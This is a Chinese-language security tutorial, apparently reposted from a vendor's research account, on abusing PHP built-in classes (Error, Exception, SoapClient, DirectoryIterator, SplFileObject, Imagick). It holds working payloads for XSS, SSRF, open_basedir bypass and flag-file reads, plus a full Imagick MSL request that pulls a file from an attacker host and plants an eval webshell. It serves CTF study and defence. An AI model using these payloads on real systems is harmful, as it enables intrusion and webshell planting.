?a=Exception&b=system('whoami')
?a=SplFileObject&b=system('whoami')
Error 内置类
-
适用于php7版本 -
在开启报错的情况下
__toString()
的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object>
的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo
的时候)会触发__toString
方法,这是一种挖洞的新思路。<?php$a = unserialize($_GET['whoami']);echo $a;?>
<?php$a = new Error("<script>alert('xss')</script>");$b = serialize($a);echo urlencode($b); ?>//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
Exception 内置类
-
适用于php5、7版本
-
开启报错的情况下
<?php$a = unserialize($_GET['whoami']);echo $a;?>
<?php$a = new Exception("<script>alert('xss')</script>");$b = serialize($a);echo urlencode($b); ?>//输出: O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
Error 类
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
-
message:错误消息内容
-
code:错误代码
-
file:抛出错误的文件名
-
line:抛出错误在该文件中的行数
-
Error::__construct
— 初始化 error 对象 -
Error::getMessage
— 获取错误信息 -
Error::getPrevious
— 返回先前的 Throwable -
Error::getCode
— 获取错误代码 -
Error::getFile
— 获取错误发生时的文件 -
Error::getLine
— 获取错误发生时的行号 -
Error::getTrace
— 获取调用栈(stack trace) -
Error::getTraceAsString
— 获取字符串形式的调用栈(stack trace) -
Error::__toString
— error 的字符串表达 -
Error::__clone
— 克隆 error
Exception 类
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
-
message:异常消息内容
-
code:异常代码
-
file:抛出异常的文件名
-
line:抛出异常在该文件中的行号
-
Exception::__construct
— 异常构造函数 -
Exception::getMessage
— 获取异常消息内容 -
Exception::getPrevious
— 返回异常链中的前一个异常 -
Exception::getCode
— 获取异常代码 -
Exception::getFile
— 创建异常时的程序文件名称 -
Exception::getLine
— 获取创建的异常所在文件中的行号 -
Exception::getTrace
— 获取异常追踪信息 -
Exception::getTraceAsString
— 获取字符串类型的异常追踪信息 -
Exception::__toString
— 将异常对象转换为字符串 -
Exception::__clone
— 异常克隆
__toString
方法,这个方法用于将异常或错误对象转换为字符串。__toString
方法时会发生什么:<?php
$a = new Error("payload",1);
echo $a;
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
Error("payload",1)
中的错误代码“1”则没有输出出来。<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "rnrn";
echo $b;
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
$a
和 $b
这两个错误对象本身是不同的,但是 __toString
方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString
返回的数据包含当前行号。Exception
类适用于PHP 5和7,而 Error
只适用于 PHP 7。SoapClient 类
SoapClient { /* 方法 */ public __construct ( string|null $wsdl , array $options = [] ) public __call ( string $name , array $args ) : mixed public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null public __getCookies ( ) : array public __getFunctions ( ) : array|null public __getLastRequest ( ) : string|null public __getLastRequestHeaders ( ) : string|null public __getLastResponse ( ) : string|null public __getLastResponseHeaders ( ) : string|null public __getTypes ( ) : array|null public __setCookie ( string $name , string|null $value = null ) : void public __setLocation ( string $location = "" ) : string|null public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed}
__call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
-
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
-
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
使用 SoapClient 类进行 SSRF
<?php$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?>
使用 DirectoryIterator 类绕过 open_basedir
// test.php<?php$dir = $_GET['whoami'];$a = new DirectoryIterator($dir);foreach($a as $f){ echo($f->__toString().'<br>');}?># payload一句话的形式:$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
/?whoami=glob:///*
即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。SimpleXMLElement
true
,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。echo new a(b)
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);
?a=DirectoryIterator&b=glob://f*
?a=SplFileObject&b=flag.php
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
new a(b)
<?php
error_reporting(0);
show_source(__FILE__);
new $_GET['b']($_GET['c']);
?>
?b=Imagick&c=http://VPS
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positiv
e.png
POST /?b=Imagick&c=vid:msl:/tmp/php* HTTP/1.1
Host: 1.1.1.1:32127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmq
Tayg6bqr
Content-Length: 348
------WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Disposition: form-data; name="123"; filename="exec.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://vps:12345/positive.png" />
<write filename="/var/www/html/positive.php"/>
</image>
------WebKitFormBoundaryeTvfNEmqTayg6bqr--
<?php
highlight_file(__FILE__);
$a = new $_GET['class1']($_GET['a']);$b = new $_GET['class2']($_GET['b']);
if ($a !== $b and md5($a)===md5($b))
{
echo new $_GET['class3']($_GET['c']);
}
/index.php?a=1&b=2&class1=Error&class2=Error
class3=SplFileObject&c=php://filter/convert.base64-encode/resource=flag.php
原文始发于微信公众号(山石网科安全技术研究院):PHP原生类在安全方面的利用总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论